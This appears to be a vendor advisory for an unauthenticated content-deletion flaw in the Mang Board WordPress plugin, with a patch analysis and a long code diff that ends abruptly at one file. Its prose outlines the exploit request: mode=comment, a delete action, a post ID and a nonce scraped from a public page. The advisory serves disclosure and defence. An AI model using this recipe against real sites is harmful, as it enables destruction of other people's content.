Published : November 19, 2026

CVE-2026-120681: Mang Board <= 2.4.7 Missing Authorization to Unauthenticated Arbitrary Content Deletion via 'mode' / 'comment_pid' / 'board_pid' Parameter Confusion PoC, Patch Analysis & Rule

Plugin mangboard
Severity Critical (CVSS 9.1)
CWE 862
Vulnerable Version 2.4.7
Patched Version 2.4.8
Disclosed November 18, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-120681: The Mang Board plugin for WordPress (versions <= 2.4.7) contains a critical missing authorization vulnerability in its API handler. An unauthenticated attacker can delete arbitrary board posts, including those owned by administrators, along with associated comments and file links. The CVSS score is 9.1 (Critical).

The root cause lies in the plugin's failure to enforce ownership or permission checks before executing delete operations. In `mangboard/api/mb-board.php`, the delete branch (`board_action=delete`) builds a `DELETE` query using only `$board_pid` without verifying that the current user owns the post or has sufficient privileges (diff lines 128-132). Similarly, `mangboard/api/mb-comment.php` allows deletion of comments via `comment_pid` without an ownership check (diff lines 68-73). The plugin relies on nonce checks for CSRF protection, but a nonce sufficient to pass the initial check is publicly exposed on any board listing page, making it obtainable without authentication. Additionally, the `mode` parameter is not validated against the `action` parameter in `mb-actions.php`, allowing an attacker to set `mode=comment` while invoking the board delete action, bypassing the intended comment-specific permission logic (diff lines 539-546).

Exploitation requires sending a crafted POST request to the WordPress AJAX endpoint (`/wp-admin/admin-ajax.php` or the plugin's custom API endpoint) with parameters: `mode=comment` (to bypass mode-based checks), `action=board_delete` (or similar delete action), `board_pid=`, and a valid nonce obtained from any board page. The attacker does not need to authenticate. The request triggers the delete query without ownership validation, removing the post and its related data. An automated script can extract the nonce from the board listing HTML and then issue the delete request.

The patch (v2.4.8) addresses the flaw by adding ownership and level checks. In `mb-board.php`, the delete branch now appends a condition to the `WHERE` clause: if the user’s level is below the board’s `fn_delete_level`, it restricts deletion to posts owned by the current user (`fn_user_pid`), unless the user is an administrator (diff lines 128-132). Similar checks are added to `mb-comment.php` for comment deletion (diff lines 68-73). The `mb-actions.php` file now explicitly forces the API file to `mb-comment.php` when `mode=comment` and the action contains `board`, preventing mode confusion (diff lines 539-546). Additionally, `mb-board.php` now blocks `mode=comment` entirely with an error (diff lines 29-31). These changes ensure that delete operations require proper authorization.

If exploited, this vulnerability allows unauthenticated attackers to delete any board post, including administrator-created content, leading to data loss, defacement, and potential disruption of site operations. Associated comments and file links are also removed. The impact is severe for sites relying on Mang Board for user-generated content or administrative announcements.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/mangboard/api/mb-board.php
+++ b/mangboard/api/mb-board.php
@@ -29,6 +29,8 @@
 $upload_check			= false;
 if(mbw_get_param("mode")=="write"){
 	$upload_check		= mbw_check_api_file("board");
+}else if(mbw_get_param("mode")=="comment"){
+	mbw_error_message("MSG_PERMISSION_ERROR", $mb_languages["W_ACCESS"],"1102");
 }

 if(mbw_get_result_data("state")=="error"){
@@ -63,7 +65,11 @@
 		else $send_data[$api_fields["fn_is_secret"]]	= 1;
 	}

-	$where_data[$api_fields["fn_pid"]]			= $board_pid;
+	$where_data[$api_fields["fn_pid"]]			= $board_pid;
+	if( (intval(mbw_get_user("fn_user_level")) < intval(mbw_get_board_option("fn_modify_level"))) && !empty($api_fields["fn_user_pid"]) ){
+		$where_data[$api_fields["fn_user_pid"]]			= mbw_get_user("fn_pid");
+	}
+
 }else if((intval(mbw_get_board_option("fn_modify_level")) <= intval(mbw_get_user("fn_user_level"))) && mbw_get_param("board_action")=="multi_modify"){
 	//체크박스가 선택된 항목만 수정
 	$check_array	= mbw_get_param("check_array");
@@ -122,7 +128,10 @@
 }else if(mbw_get_param("board_action")=="delete"){
 	if(mbw_get_param("board_name")!="" && !empty($board_pid)){
 		$query_command										= "DELETE";
-		$where_data[$api_fields["fn_pid"]]					= $board_pid;
+		$where_data[$api_fields["fn_pid"]]					= $board_pid;
+		if( (intval(mbw_get_user("fn_user_level")) < intval(mbw_get_board_option("fn_delete_level"))) && !empty($api_fields["fn_user_pid"]) ){
+			$where_data[$api_fields["fn_user_pid"]]			= mbw_get_user("fn_pid");
+		}

 		//게시물 삭제시 파일 연결 해제
 		$query_data[]		= $mdb->prepare( "UPDATE ".$mb_admin_tables["files"]." set ".$mb_fields["files"]["fn_board_pid"]."=0 where ".$mb_fields["files"]["fn_table_name"]."=%s and ".$mb_fields["files"]["fn_board_pid"]."=%d", $mb_board_table_name, $board_pid);
--- a/mangboard/api/mb-comment.php
+++ b/mangboard/api/mb-comment.php
@@ -9,10 +9,10 @@
 }

 $query_command		= "";
-$send_data					= array();
+$send_data				= array();
 $where_data				= array();
 $query_data				= array();
-$parent_pid					= intval(mbw_get_param("parent_pid"));
+$parent_pid				= intval(mbw_get_param("parent_pid"));
 $comment_pid			= intval(mbw_get_param("comment_pid"));
 $comment_parent_pid	= 0;

@@ -68,10 +68,16 @@
 		$query_command												= "UPDATE";
 		if(isset($api_fields["fn_parent_pid"]) && empty($send_data[$api_fields["fn_parent_pid"]]))		unset($send_data[$api_fields["fn_parent_pid"]]);
 		$where_data[$api_fields["fn_pid"]]			= $comment_pid;
+		if( (intval(mbw_get_user("fn_user_level")) < intval(mbw_get_board_option("fn_modify_level")) ) && !empty($api_fields["fn_user_pid"]) ){
+			$where_data[$api_fields["fn_user_pid"]]			= mbw_get_user("fn_pid");
+		}
 	}else if(mbw_get_param("board_action")=="delete"){
 		if(!empty($comment_pid)){
 			$query_command									= "DELETE";
-			$where_data[$api_fields["fn_pid"]]				= $comment_pid;
+			$where_data[$api_fields["fn_pid"]]				= $comment_pid;
+			if( (intval(mbw_get_user("fn_user_level")) < intval(mbw_get_board_option("fn_delete_level"))) && !empty($api_fields["fn_user_pid"]) ){
+				$where_data[$api_fields["fn_user_pid"]]			= mbw_get_user("fn_pid");
+			}

 			if(mbw_get_param("board_name")!=""){
 				//댓글 삭제시 댓글에 연결된 쿠키정보 삭제
@@ -112,7 +118,7 @@
 mbw_set_user_point("comment",mbw_get_param("board_action"));

 $mb_user_level						= mbw_get_user("fn_user_level");
-$mb_user_pid							= mbw_get_user("fn_pid");
+$mb_user_pid						= mbw_get_user("fn_pid");

 $comment_mode		= "view";
 $where_query			= $mdb->prepare(" where ".$api_fields["fn_parent_pid"]."=%d", $parent_pid);
--- a/mangboard/api/mb-template.php
+++ b/mangboard/api/mb-template.php
@@ -145,7 +145,8 @@
 					if(!empty($mb_fields["select_board"]["fn_data_type"]) && !empty($item[$mb_fields["select_board"]["fn_data_type"]]) && ($item[$mb_fields["select_board"]["fn_data_type"]]=="html")){
 						$content			= mbw_htmlspecialchars_decode($content);
 						$item_level		= intval($item[$mb_fields["select_board"]["fn_level"]]);
-						if ( $item_level == 0 ) {	//비회원이 작성한 게시물은 추가 보안 검증
+						//레벨 10 (관리자) 이하의 회원이 작성했거나 DISALLOW_UNFILTERED_HTML 설정이 있을 경우 추가 검증
+						if ( $item_level < 10 || (defined('DISALLOW_UNFILTERED_HTML') && DISALLOW_UNFILTERED_HTML) ) {
 							if( function_exists('mbw_get_htmlpurify') && version_compare(PHP_VERSION, '5.4.0', '>=') ){
 								$content		= mbw_get_htmlpurify($content);
 							} else {
--- a/mangboard/includes/class.store.php
+++ b/mangboard/includes/class.store.php
@@ -152,9 +152,9 @@
 			if ( !empty($this->params["user_name"]) ) {
 				$this->params["user_name"]			= preg_replace('/[()=]/', '', $this->params["user_name"]);
 			}
-
+
 			//image_path 에서 파일 이름 및 확장자 체크
-			if ( !empty($this->params["image_path"]) ) {
+			if ( !empty($this->params["image_path"]) && is_string($this->params["image_path"]) ) {
 				$image_path	= $this->params["image_path"];
 				if(strpos($image_path, '.php')!==false || strpos($image_path, '.phar')!==false || strpos($image_path, '.phtm')!==false){
 					$this->params["image_path"]			= "";
--- a/mangboard/includes/functions/func.api.php
+++ b/mangboard/includes/functions/func.api.php
@@ -50,9 +50,9 @@
 		mbw_add_trace("mbw_set_api_params");
 		global $mstore,$mdb,$mb_admin_tables,$mb_fields;
 		global $mb_board_table_name,$mb_comment_table_name;
-		$api_fields					= $fields;
+		$api_fields				= $fields;
 		$check_fields				= $fields;
-		$send_data					= array();
+		$send_data				= array();
 		$mb_user_level			= mbw_get_user("fn_user_level");

 		//관리자 테이블에는 htmlspecialchars 기능 적용 안함
@@ -77,22 +77,22 @@
 			if ( is_array($data_type) ) {
 				$data_type		= implode(",", $data_type);
 			}
-			$data_type	= mbw_value_filter($data_type);
+			$data_type	= mbw_value_filter($data_type);
 		}else{
-			$data_type	= "html";
+			if(isset($api_fields["fn_data_type"]) && mbw_get_param("content")!=""){
+				$data_type	= "html";
+			}
 		}
 		mbw_set_param("data_type", $data_type);

-		if( ($check_htmlspecialchars && ( strpos($data_type, "html") !== false )) || !is_string($data_type) ){
-			if(mbw_get_param("content")!=""){
-				$tmp_content		= mbw_get_param("content");
-				if(!mbw_is_admin() || (defined('DISALLOW_UNFILTERED_HTML') && DISALLOW_UNFILTERED_HTML) || mbw_get_option("anti_spam_protection") === 0){
-					if( function_exists('mbw_get_htmlpurify') && version_compare(PHP_VERSION, '5.4.0', '>=') ){
-						mbw_set_param("content",mbw_get_htmlpurify($tmp_content));
-					} else {
-						mbw_set_param("content",wp_kses_post($tmp_content));
-					}
-				}
+		$tmp_content		= mbw_get_param("content");
+		if( !empty($tmp_content) && $check_htmlspecialchars && ( strpos($data_type, "html") !== false || strpos($tmp_content, '<') !== false ) ){
+			if(!mbw_is_admin() || (defined('DISALLOW_UNFILTERED_HTML') && DISALLOW_UNFILTERED_HTML) || mbw_get_option("anti_spam_protection") === 0){
+				if( function_exists('mbw_get_htmlpurify') && version_compare(PHP_VERSION, '5.4.0', '>=') ){
+					mbw_set_param("content",mbw_get_htmlpurify($tmp_content));
+				} else {
+					mbw_set_param("content",wp_kses_post($tmp_content));
+				}
 			}
 		}

@@ -130,11 +130,16 @@

 		foreach($check_fields as $key => $value){
 			$param_key		= str_replace("fn_", "", $key);
-			if(strpos($key, 'fn_')===0 && isset($_REQUEST[$param_key]) && $key!="fn_pid"){
-				if(!empty($allow_fields) && strpos($allow_fields, ','.$param_key.',')===false) continue;
+			if ( strpos($key, 'fn_') === 0 && isset($_REQUEST[$param_key]) && $key != "fn_pid" ) {
+				if ( !empty($allow_fields) && strpos($allow_fields, ','.$param_key.',') === false ) {
+					continue;
+				}
 				$param_data				= mbw_get_param($param_key);

 				if ( $key == "fn_data_type" ) {
+					if ( mbw_get_param("mode")=="write" && !isset($_REQUEST["content"]) ) {
+						continue;
+					}
 					if ( is_array($param_data) ) {
 						$param_data		= implode(",", $param_data);
 					}
@@ -455,35 +460,39 @@

 		if(mbw_get_param("mode")=="comment"){
 			$table_name		= $mb_comment_table_name;
-			$pid					= mbw_get_param("comment_pid");
+			$pid				= mbw_get_param("comment_pid");
 		}else{
 			$table_name		= $mb_board_table_name;
-			$pid					= mbw_get_param("board_pid");
+			$pid				= mbw_get_param("board_pid");
 		}

 		//접근 권한 체크
-		$mb_user_level						= mbw_get_user("fn_user_level");
-		$mb_user_pid							= intval(mbw_get_user("fn_pid"));
+		$mb_user_level			= mbw_get_user("fn_user_level");
+		$mb_user_pid			= intval(mbw_get_user("fn_pid"));

 		if(strpos(mbw_get_param("board_action"),"delete")!==false){
 			if(intval(mbw_get_board_option("fn_delete_level")) > $mb_user_level){
 				//user_pid 필드가 없는 게시판은 일반 유저가 삭제하지 못하도록 설정
 				if(!empty($api_fields["fn_user_pid"])){
 					$board_item	= $mdb->get_row($mdb->prepare("select * from ".$table_name." where ".$api_fields["fn_pid"]."=%d limit 1", $pid),ARRAY_A);
-
-					//비회원이 작성한 글일 경우 비밀번호가 일치하는지 확인
-					if($board_item[$api_fields["fn_user_pid"]]=="0"){
-						if(!empty($api_fields["fn_passwd"])){
-							if(empty($send_data[$api_fields["fn_passwd"]])){
-								mbw_error_message("MSG_FIELD_EMPTY_ERROR1", $mb_languages["W_PASSWORD"],"1201");
-							}else if(!mbw_check_password(mbw_get_param("passwd"), $board_item[$api_fields["fn_passwd"]])){
-								mbw_error_message("MSG_MATCH_ERROR", $mb_languages["W_PASSWORD"],"1206","passwd");
-							}
-						}
-					//회원이 작성한 글일 경우 본인 글이 아닐 경우 에러 출력
+
+					if(empty($board_item)){
+						mbw_error_message("MSG_ITEM_NOT_EXIST");
 					}else{
-						if($mb_user_pid!=$board_item[$api_fields["fn_user_pid"]]){
-							mbw_error_message("MSG_PERMISSION_ERROR", $mb_languages["W_DELETE"],"1102");
+						//비회원이 작성한 글일 경우 비밀번호가 일치하는지 확인
+						if($board_item[$api_fields["fn_user_pid"]]=="0"){
+							if(!empty($api_fields["fn_passwd"])){
+								if(empty($send_data[$api_fields["fn_passwd"]])){
+									mbw_error_message("MSG_FIELD_EMPTY_ERROR1", $mb_languages["W_PASSWORD"],"1201");
+								}else if(!mbw_check_password(mbw_get_param("passwd"), $board_item[$api_fields["fn_passwd"]])){
+									mbw_error_message("MSG_MATCH_ERROR", $mb_languages["W_PASSWORD"],"1206","passwd");
+								}
+							}
+						//회원이 작성한 글일 경우 본인 글이 아닐 경우 에러 출력
+						}else{
+							if ( $mb_user_pid === 0 || $mb_user_pid != $board_item[$api_fields["fn_user_pid"]] ) {
+								mbw_error_message("MSG_PERMISSION_ERROR", $mb_languages["W_DELETE"],"1102");
+							}
 						}
 					}
 				}else{
@@ -491,29 +500,32 @@
 				}
 			}
 		}else if(strpos(mbw_get_param("board_action"),"modify")!==false){
-			$board_item	= $mdb->get_row($mdb->prepare("select * from ".$table_name." where ".$api_fields["fn_pid"]."=%d limit 1", $pid),ARRAY_A);
-
-			if(intval(mbw_get_board_option("fn_modify_level")) > $mb_user_level){
-				//비회원이 작성한 글일 경우 비밀번호가 일치하는지 확인
-				if(!empty($api_fields["fn_user_pid"])){
-					if($board_item[$api_fields["fn_user_pid"]]=="0"){
-						if(empty($send_data[$api_fields["fn_passwd"]])){
-							mbw_error_message("MSG_FIELD_EMPTY_ERROR1", $mb_languages["W_PASSWORD"],"1201");
-						}else if(!mbw_check_password(mbw_get_param("passwd"), $board_item[$api_fields["fn_passwd"]])){
-							mbw_error_message("MSG_MATCH_ERROR", $mb_languages["W_PASSWORD"],"1206","passwd");
+			if(intval(mbw_get_board_option("fn_modify_level")) > $mb_user_level){
+				$board_item	= $mdb->get_row($mdb->prepare("select * from ".$table_name." where ".$api_fields["fn_pid"]."=%d limit 1", $pid),ARRAY_A);
+				if(empty($board_item)){
+					mbw_error_message("MSG_ITEM_NOT_EXIST");
+				}else{
+					//비회원이 작성한 글일 경우 비밀번호가 일치하는지 확인
+					if(!empty($api_fields["fn_user_pid"])){
+						if($board_item[$api_fields["fn_user_pid"]]=="0"){
+							if(empty($send_data[$api_fields["fn_passwd"]])){
+								mbw_error_message("MSG_FIELD_EMPTY_ERROR1", $mb_languages["W_PASSWORD"],"1201");
+							}else if(!mbw_check_password(mbw_get_param("passwd"), $board_item[$api_fields["fn_passwd"]])){
+								mbw_error_message("MSG_MATCH_ERROR", $mb_languages["W_PASSWORD"],"1206","passwd");
+							}
+						//회원이 작성한 글일 경우 본인 글이 아닐 경우 에러 출력
+						}else{
+							if ( $mb_user_pid === 0 || $mb_user_pid != $board_item[$api_fields["fn_user_pid"]] ) {
+								mbw_error_message("MSG_PERMISSION_ERROR", $mb_languages["W_MODIFY"],"1102");
+							}
 						}
-					//회원이 작성한 글일 경우 본인 글이 아닐 경우 에러 출력
-					}else{
-						if($mb_user_pid!=$board_item[$api_fields["fn_user_pid"]]){
+					}else if($mb_board_table_name==$mb_admin_tables["users"]){
+						if ( $mb_user_pid === 0 || $mb_user_pid != $board_item[$api_fields["fn_pid"]] ) {
 							mbw_error_message("MSG_PERMISSION_ERROR", $mb_languages["W_MODIFY"],"1102");
 						}
-					}
-				}else if($mb_board_table_name==$mb_admin_tables["users"]){
-					if($mb_user_pid!=$board_item[$api_fields["fn_pid"]]){
+					}else{
 						mbw_error_message("MSG_PERMISSION_ERROR", $mb_languages["W_MODIFY"],"1102");
 					}
-				}else{
-					mbw_error_message("MSG_PERMISSION_ERROR", $mb_languages["W_MODIFY"],"1102");
 				}
 			}

@@ -553,6 +565,7 @@
 							$name_array	= explode('.',$file_name);
 							if(count($name_array)==1) return false;
 							$file_ext			= strtolower(array_pop($name_array));
+							$file_ext			= mbw_value_filter($file_ext, "name");

 							if($file_size==0){
 								mbw_error_message("MSG_UPLOAD_SIZE_ERROR", mbw_get_option("upload_file_size"),"1503");
@@ -575,6 +588,7 @@
 						$name_array	= explode('.',$file_name);
 						if(count($name_array)==1) return false;
 						$file_ext			= strtolower(array_pop($name_array));
+						$file_ext			= mbw_value_filter($file_ext, "name");

 						if($file_size==0){
 							mbw_error_message("MSG_UPLOAD_SIZE_ERROR", mbw_get_option("upload_file_size"),"1503");
@@ -731,7 +745,8 @@

 							$name_array	= explode('.',$upload_data["name"]);
 							if(count($name_array)==1) return $upload_data;
-							$file_ext			= strtolower(array_pop($name_array));
+							$file_ext			= strtolower(array_pop($name_array));
+							$file_ext			= mbw_value_filter($file_ext, "name");

 							if(!is_uploaded_file($file_tmp)){
 								mbw_error_message("MSG_ERROR", "Upload","1500");
@@ -799,7 +814,8 @@
 						$upload_data["name"]		= mbw_check_upload_filename($file_data["name"]);
 						$name_array	= explode('.',$upload_data["name"]);
 						if(count($name_array)==1) return $upload_data;
-						$file_ext			= strtolower(array_pop($name_array));
+						$file_ext			= strtolower(array_pop($name_array));
+						$file_ext			= mbw_value_filter($file_ext, "name");

 						if(!is_uploaded_file($file_tmp)){
 							mbw_error_message("MSG_ERROR", "Upload","1500");
@@ -884,8 +900,8 @@

 			$name_array		= explode('.',$upload_data["name"]);
 			if(count($name_array)==1) return array("name"=>"");
-			$file_ext				= array_pop($name_array);
-			$file_ext				= strtolower($file_ext);
+			$file_ext				= strtolower(array_pop($name_array));
+			$file_ext				= mbw_value_filter($file_ext, "name");

 			if(!in_array($file_ext, $check_ext)){
 				mbw_error_message("MSG_UPLOAD_EXT_ERROR", $file_ext,"1502");
@@ -946,6 +962,7 @@
 				$name_array	= explode('.',$upload_data["name"]);
 				if(count($name_array)==1) return $upload_data;
 				$file_ext			= strtolower(array_pop($name_array));
+				$file_ext			= mbw_value_filter($file_ext, "name");
 				if(mbw_get_param("file_type")!=""){
 					$file_type	= mbw_get_param("file_type");
 				}else{
@@ -968,39 +985,42 @@
 					$upload_data["path"]	= $datePath.$file_name;
 					if(defined('MBW_IMAGE_EDITOR') && mbw_get_param("mode")=="write" && mbw_get_param("board_action")=="modify" && mbw_get_param("image_path")!=""){		//게시물 수정시 대표이미지가 존재할 경우 해당 경로에 덮어쓰기로 저장
 						$image_path				= mbw_get_param("image_path");
-						$file_item					= $mdb->get_row($mdb->prepare("select * from `".$mb_admin_tables["files"]."` where ".$mb_fields["files"]["fn_file_path"]."=%s limit 1;", $image_path),ARRAY_A);
-						if(empty($file_item)){		//수정할 이미지가 삭제되었을 경우 대표 이미지 경로에 다시 저장
-							$file_name				= basename($image_path);
-							$datePath					= preg_replace('/[^0-9a-zA-Z/]/', '', str_replace($file_name, "", $image_path));
-
-							$file_name				= mbw_check_upload_filename($file_name);
-							$name_array				= explode('.',$file_name);
-							$file_ext					= strtolower(array_pop($name_array));
-
-							if(!in_array($file_ext, $mb_image_upload_files)){
-								mbw_error_message("MSG_UPLOAD_EXT_ERROR", $file_ext,"1502");
-								return array("name"=>"");
-							}else{
-								if(strpos($file_name, 'F')===0 && strpos($file_name, '_')!==false){
-									$upload_data["name"]		= substr($file_name,strpos($file_name, '_')+1);
-								}else{
-									$upload_data["name"]		= $file_name;
-								}
-								$upload_data["path"]	= $datePath.$file_name;
-								$board_pid				= mbw_get_param("board_pid");
-								if(!empty($board_pid)){
-									if(isset($api_fields["fn_board_pid"])){
-										$send_data[$api_fields["fn_board_pid"]]						= intval($board_pid);
+						if ( is_string($image_path) ) {
+							$file_item					= $mdb->get_row($mdb->prepare("select * from `".$mb_admin_tables["files"]."` where ".$mb_fields["files"]["fn_file_path"]."=%s limit 1;", $image_path),ARRAY_A);
+							if(empty($file_item)){		//수정할 이미지가 삭제되었을 경우 대표 이미지 경로에 다시 저장
+								$file_name				= basename($image_path);
+								$datePath					= preg_replace('/[^0-9a-zA-Z/]/', '', str_replace($file_name, "", $image_path));
+
+								$file_name				= mbw_check_upload_filename($file_name);
+								$name_array				= explode('.',$file_name);
+								$file_ext					= strtolower(array_pop($name_array));
+								$file_ext					= mbw_value_filter($file_ext, "name");
+
+								if(!in_array($file_ext, $mb_image_upload_files)){
+									mbw_error_message("MSG_UPLOAD_EXT_ERROR", $file_ext,"1502");
+									return array("name"=>"");
+								}else{
+									if(strpos($file_name, 'F')===0 && strpos($file_name, '_')!==false){
+										$upload_data["name"]		= substr($file_name,strpos($file_name, '_')+1);
+									}else{
+										$upload_data["name"]		= $file_name;
 									}
-									$board_name		= mbw_get_param("board_name");
-									if(!empty($board_name)){
-										if(isset($api_fields["fn_board_name"])){
-											$send_data[$api_fields["fn_board_name"]]						= mbw_htmlspecialchars2($board_name);
+									$upload_data["path"]	= $datePath.$file_name;
+									$board_pid				= mbw_get_param("board_pid");
+									if(!empty($board_pid)){
+										if(isset($api_fields["fn_board_pid"])){
+											$send_data[$api_fields["fn_board_pid"]]						= intval($board_pid);
+										}
+										$board_name		= mbw_get_param("board_name");
+										if(!empty($board_name)){
+											if(isset($api_fields["fn_board_name"])){
+												$send_data[$api_fields["fn_board_name"]]						= mbw_htmlspecialchars2($board_name);
+											}
+											$table_name			= mbw_get_board_table_name($board_name);
+											if(isset($api_fields["fn_table_name"]) && !empty($table_name)){
+												$send_data[$api_fields["fn_table_name"]]						= mbw_htmlspecialchars2($table_name);
+											}
 										}
-										$table_name			= mbw_get_board_table_name($board_name);
-										if(isset($api_fields["fn_table_name"]) && !empty($table_name)){
-											$send_data[$api_fields["fn_table_name"]]						= mbw_htmlspecialchars2($table_name);
-										}
 									}
 								}
 							}
@@ -1051,6 +1071,7 @@

 					$name_array		= explode('.', $file_name);
 					$file_ext			= strtolower(array_pop($name_array));
+					$file_ext			= mbw_value_filter($file_ext, "name");

 					if(strpos($mime_type,"image/")!==0){
 						mbw_error_message("MSG_ERROR", "Upload","1500");
@@ -1058,28 +1079,11 @@
 						mbw_error_message("MSG_ERROR", "Upload","1500");
 					}else if(!in_array($file_ext, $mb_image_upload_files)){
 						mbw_error_message("MSG_UPLOAD_EXT_ERROR", $file_ext,"1502");
-					}else{
-						$fp_path		= $uploadPath.$datePath.$file_name;
-						if ( function_exists('imagecreatefromstring') && ($file_ext === 'jpg' || $file_ext === 'jpeg' || $file_ext === 'png') ) {
-							//보안 처리를 위해 jpg, png 파일은 안전한 방식으로 이미지 생성
-							//이미지 에디터는 jpg, png 확장자만 사용, 업로드 플러그인은 gif, bmp 확장자도 지원
-							//imagegif 함수는 gif 모션기능이 제거되기 때문에 fwrite 함수로 저장
-							$image = @imagecreatefromstring($fd);
-							if ($image !== false) {
-								if ($file_ext === 'jpg' || $file_ext === 'jpeg') {
-									imagejpeg($image, $fp_path, 90);
-								} elseif ($file_ext === 'png') {
-									imagealphablending($image, false);
-									imagesavealpha($image, true);
-									imagepng($image, $fp_path);
-								}
-								imagedestroy($image);
-							}
-						} else {
-							$fp				= fopen($fp_path,"w");
-							fwrite($fp,$fd);
-							fclose($fp);
-						}
+					}else{
+						$fp_path		= $uploadPath.$datePath.$file_name;
+						$fp				= fopen($fp_path,"w");
+						fwrite($fp,$fd);
+						fclose($fp);
 						if ( is_file($fp_path) ) {
 							@chmod($fp_path, 0644);
 						}
@@ -1110,10 +1114,15 @@
 					if(empty($image_size)) return false;
 					$image_type		= $image_size[2];
 				}
+				$source = null;
 				if($image_type==2){		//jpg
 					$source = @imagecreatefromjpeg($filename);
 				}else if($image_type==3){		//png
 					$source = @imagecreatefrompng($filename);
+					if($source) {
+						imagealphablending($source, false);
+						imagesavealpha($source, true);
+					}
 				}
 				if(!empty($source)){
 					$orientation			= $exif['Orientation'];
@@ -1126,13 +1135,17 @@
 					}else{
 						$angle	= 0;
 					}
-					$image = imagerotate($source, $angle, 0);
 					if($image_type==3 && function_exists("imagepng")){
+						$bg_color = imagecolorallocatealpha($source, 0, 0, 0, 127);
+						$image = imagerotate($source, $angle, $bg_color);
 						@imagepng($image, $filename);
+						@imagedestroy($image);
 					}else if(function_exists("imagejpeg")){
+						$bg_color = imagecolorallocate($source, 0, 0, 0);
+						$image = imagerotate($source, $angle, $bg_color);
 						@imagejpeg($image, $filename,100);
-					}
-					@imagedestroy($image);
+						@imagedestroy($image);
+					}
 				}
 			}
 		}
--- a/mangboard/includes/functions/func.board.php
+++ b/mangboard/includes/functions/func.board.php
@@ -80,14 +80,14 @@
 			global $mstore;
 			$content_length		= $_SERVER['CONTENT_LENGTH'];
 			$upload_max			= mbw_convert_to_bytes(ini_get("upload_max_filesize"));
-			$post_max				= mbw_convert_to_bytes(ini_get("post_max_size"));
+			$post_max			= mbw_convert_to_bytes(ini_get("post_max_size"));
 			if($post_max<$upload_max) $upload_max		= $post_max;

 			if($upload_max<$content_length){
 				mbw_error_message("MSG_UPLOAD_SIZE_ERROR", mbw_convert_to_bytes($upload_max,'mb'),"1503");

 				if(mbw_get_param('mode')=='basic' && mbw_get_param('action')=='mb_uploader'){
-					echo mbw_get_result_data("message"); // phpcs:ignore
+					echo esc_html(strip_tags(mbw_get_result_data("message")));
 				}else{
 					wp_send_json(mbw_get_result_array());
 				}
@@ -1049,7 +1049,10 @@
 				$permission_name			= __MW("W_COMMENT_WRITE");
 			}else if(mbw_get_param("board_action")=="modify"){
 				$permission_level				= $comment_level;
-				$permission_name			= __MW("W_COMMENT_WRITE");
+				$permission_name			= __MW("W_MODIFY");
+			}else if(mbw_get_param("board_action")=="delete"){
+				$permission_level				= $comment_level;
+				$permission_name			= __MW("W_DELETE");
 			}else{
 				$permission_level				= $view_level;
 				$permission_name			= __MW("W_VIEW");
@@ -1169,8 +1172,9 @@
 		}

 		$mb_error_message[]		= $error_message;
-		if(count($mb_error_message)==1){
-			mbw_set_result_data(array("state"=>"error","code"=>$code,"target_name"=>$target_name,"message"=>$error_message));
+		if(count($mb_error_message)==1){
+			$error_message	= wp_kses_post($error_message);
+			mbw_set_result_data(array("state"=>"error","code"=>esc_html($code),"target_name"=>esc_html($target_name),"message"=>$error_message));
 			//Error 로그 남기기
 			if(mbw_get_option("error_log")) mbw_set_log("error",$error_message);
 			return '<div class="mb-error-message-box">'.$error_message.'</div>';
@@ -1724,7 +1728,6 @@
 	}
 }

-
 if(!function_exists('mbw_is_image_file')){
 	function mbw_is_image_file($name){
 		global $mb_image_upload_files;
--- a/mangboard/includes/functions/func.store.php
+++ b/mangboard/includes/functions/func.store.php
@@ -332,6 +332,12 @@
 				$value		= strip_tags(mbw_htmlspecialchars_decode($value));
 			}
 		}
+		if($field=="fn_modify_level" || $field=="fn_secret_level" || $field=="fn_delete_level" || $field=="fn_manage_level"){
+			$value			= intval($value);
+			if($value<5){
+				$value			= 5;
+			}
+		}
 		return $value;
 	}
 }
--- a/mangboard/includes/functions/func.user.php
+++ b/mangboard/includes/functions/func.user.php
@@ -34,9 +34,11 @@
 				}
 			}else if($target=="board"){
 				$sign			= "+";
-				if($action=="write")	$point		= intval(mbw_get_board_option("fn_point_board_write"));
-				else if($action=="reply")	$point		= intval(mbw_get_board_option("fn_point_board_reply"));
-				else if($action=="delete"){
+				if(mbw_get_param("mode")=="write" && $action=="write"){
+					$point		= intval(mbw_get_board_option("fn_point_board_write"));
+				}else if(mbw_get_param("mode")=="write" && $action=="reply"){
+					$point		= intval(mbw_get_board_option("fn_point_board_reply"));
+				}else if($action=="delete"){
 					$point			= intval(mbw_get_board_option("fn_point_board_write"))*(-1);
 					$board_pid		= mbw_get_param("board_pid");
 					if(!empty($board_pid)){
@@ -246,9 +248,11 @@
 				}
 			}else if($target=="board"){
 				$sign			= "+";
-				if($action=="write")	$point		= intval(mbw_get_board_option("fn_point_board_write"));
-				else if($action=="reply")	$point		= intval(mbw_get_board_option("fn_point_board_reply"));
-				else if($action=="delete"){
+				if(mbw_get_param("mode")=="write" && $action=="write"){
+					$point		= intval(mbw_get_board_option("fn_point_board_write"));
+				}else if(mbw_get_param("mode")=="write" && $action=="reply"){
+					$point		= intval(mbw_get_board_option("fn_point_board_reply"));
+				}else if($action=="delete"){
 					$point			= intval(mbw_get_board_option("fn_point_board_write"))*(-1);
 					$board_pid		= mbw_get_param("board_pid");
 					if(!empty($board_pid)){
--- a/mangboard/includes/mb-actions.php
+++ b/mangboard/includes/mb-actions.php
@@ -539,12 +539,18 @@
 		mbw_add_trace("mbw_api_callback");
 		global $mdb,$mstore,$mb_fields,$mb_request_mode,$mb_languages,$send_data;
 		global $mb_admin_tables,$mb_board_table_name,$mb_comment_table_name;
+		$mode		= mbw_value_filter(mbw_get_param("mode"), "name");
 		$action		= mbw_value_filter(mbw_get_param("action"), "name");
 		$file_name	= str_replace( "_", "-", $action).".php";
 		$store_path	= mbw_get_option("store_path");
 		if ( !empty($store_path) ) {
 			$store_path	= mbw_value_filter($store_path, "path");
 		}
+		// mode 값이 comment 로 설정되어 있고, action에 board 값이 존재할 경우 기본 api 파일로 설정
+		if ( $mode == "comment" && strpos($action, 'board') !== false) {
+			$file_name	= "mb-comment.php";
+		}
+
 		/*
 		//구형 브라우저에서 오류가 발생하는 문제 때문에 보류 2026-10-27
 		if ( !mbw_is_login() ) {
--- a/mangboard/includes/mb-uploader.php
+++ b/mangboard/includes/mb-uploader.php
@@ -66,12 +66,10 @@
